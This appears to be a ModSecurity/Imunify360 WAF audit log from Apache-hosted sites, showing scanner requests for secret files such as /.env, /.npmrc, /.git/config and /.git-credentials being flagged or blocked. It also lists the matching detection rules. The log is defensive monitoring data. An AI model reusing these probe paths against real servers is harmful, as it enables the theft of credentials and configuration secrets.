GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--dc101163-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dc101163-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZs@GM7dE9KgIIOpQh03AAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZs@GM7dE9KgIIOpQh03AAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291768022441 60588 (- - -)
Stopwatch2: 1789291768022441 60588; combined=59190, p1=260, p2=58551, p3=0, p4=0, p5=379, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dc101163-Z--
--920b736e-A--
[13/Sep/2026:12:33:43.635192 +0300] aqZt92M7dE9KgIIOpQh1NwAAAME 34.83.71.154 53768 127.0.0.1 7081
--920b736e-B--
GET /.env HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--920b736e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--920b736e-E--
--920b736e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env"] [unique_id "aqZt92M7dE9KgIIOpQh1NwAAAME"]
Stopwatch: 1789292023629758 5495 (- - -)
Stopwatch2: 1789292023629758 5495; combined=3753, p1=188, p2=3456, p3=63, p4=7, p5=39, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--920b736e-Z--
--f844f25f-A--
[13/Sep/2026:12:33:43.659452 +0300] aqZt92M7dE9KgIIOpQh1NQAAANQ 34.83.71.154 53762 127.0.0.1 7081
--f844f25f-B--
GET /.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--f844f25f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f844f25f-E--
--f844f25f-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt92M7dE9KgIIOpQh1NQAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt92M7dE9KgIIOpQh1NQAAANQ"]
Stopwatch: 1789292023612132 47370 (- - -)
Stopwatch2: 1789292023612132 47370; combined=44588, p1=2951, p2=41501, p3=70, p4=7, p5=59, sr=2733, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f844f25f-Z--
--1e090229-A--
[13/Sep/2026:12:33:43.662274 +0300] aqZt90wu1RSkptiiNIX4twAAAIM 34.83.71.154 53772 127.0.0.1 7081
--1e090229-B--
GET /.git/config HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--1e090229-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--1e090229-E--
--1e090229-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Stopwatch: 1789292023628354 33965 (- - -)
Stopwatch2: 1789292023628354 33965; combined=32619, p1=278, p2=32221, p3=63, p4=7, p5=50, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1e090229-Z--
--949be77e-A--
[13/Sep/2026:12:33:43.845986 +0300] aqZt92M7dE9KgIIOpQh1OAAAAMk 34.83.71.154 53802 127.0.0.1 7081
--949be77e-B--
GET /.git/credentials HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--949be77e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--949be77e-E--
--949be77e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/credentials"] [unique_id "aqZt92M7dE9KgIIOpQh1OAAAAMk"]
Stopwatch: 1789292023839869 6179 (- - -)
Stopwatch2: 1789292023839869 6179; combined=4560, p1=251, p2=4141, p3=117, p4=7, p5=44, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--949be77e-Z--
--7f85734a-A--
[13/Sep/2026:12:33:43.846561 +0300] aqZt9zTJ6xTvcJoem7f6ywAAAEM 34.83.71.154 53786 127.0.0.1 7081
--7f85734a-B--
GET /.env.local HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--7f85734a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7f85734a-E--
--7f85734a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZt9zTJ6xTvcJoem7f6ywAAAEM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZt9zTJ6xTvcJoem7f6ywAAAEM"]
Stopwatch: 1789292023813503 33137 (- - -)
Stopwatch2: 1789292023813503 33137; combined=31028, p1=258, p2=30595, p3=118, p4=7, p5=49, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f85734a-Z--
--ac1c563f-A--
[13/Sep/2026:12:33:44.059273 +0300] aqZt@Ewu1RSkptiiNIX4uAAAAI8 34.83.71.154 53806 127.0.0.1 7081
--ac1c563f-B--
GET /.git-credentials HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--ac1c563f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ac1c563f-E--
--ac1c563f-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqZt@Ewu1RSkptiiNIX4uAAAAI8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqZt@Ewu1RSkptiiNIX4uAAAAI8"]
Stopwatch: 1789292024026934 32408 (- - -)
Stopwatch2: 1789292024026934 32408; combined=31009, p1=253, p2=30615, p3=85, p4=8, p5=48, sr=104, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ac1c563f-Z--
--e7725d76-A--
[13/Sep/2026:12:33:44.063737 +0300] aqZt@DTJ6xTvcJoem7f6zAAAAEA 34.83.71.154 53822 127.0.0.1 7081
--e7725d76-B--
GET /.npm/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--e7725d76-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e7725d76-E--
--e7725d76-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npm/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npm/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npm/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npm/.npmrc"] [unique_id "aqZt@DTJ6xTvcJoem7f6zAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npm/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npm/.npmrc"] [unique_id "aqZt@DTJ6xTvcJoem7f6zAAAAEA"]
Stopwatch: 1789292024029363 34429 (- - -)
Stopwatch2: 1789292024029363 34429; combined=33012, p1=237, p2=32657, p3=65, p4=7, p5=46, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7725d76-Z--
--eb9a8606-A--
[13/Sep/2026:12:33:44.245665 +0300] aqZt@GM7dE9KgIIOpQh1OgAAANI 34.83.71.154 53832 127.0.0.1 7081
--eb9a8606-B--
GET /.env HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--eb9a8606-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--eb9a8606-E--
--eb9a8606-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env"] [unique_id "aqZt@GM7dE9KgIIOpQh1OgAAANI"]
Stopwatch: 1789292024239324 6399 (- - -)
Stopwatch2: 1789292024239324 6399; combined=4821, p1=396, p2=4300, p3=73, p4=9, p5=43, sr=239, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb9a8606-Z--
--74b44216-A--
[13/Sep/2026:12:33:44.288036 +0300] aqZt@Ewu1RSkptiiNIX4uQAAAI0 34.83.71.154 53834 127.0.0.1 7081
--74b44216-B--
GET /app/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--74b44216-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--74b44216-E--
--74b44216-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/app/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/app/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4uQAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/app/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/app/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4uQAAAI0"]
Stopwatch: 1789292024253248 34853 (- - -)
Stopwatch2: 1789292024253248 34853; combined=33188, p1=263, p2=32652, p3=212, p4=8, p5=52, sr=111, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74b44216-Z--
--ae15331f-A--
[13/Sep/2026:12:33:44.504604 +0300] aqZt@GM7dE9KgIIOpQh1PgAAAMs 34.83.71.154 53886 127.0.0.1 7081
--ae15331f-B--
GET /node_modules/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--ae15331f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ae15331f-E--
--ae15331f-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/node_modules/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/node_modules/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/node_modules/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/node_modules/.npmrc"] [unique_id "aqZt@GM7dE9KgIIOpQh1PgAAAMs"]
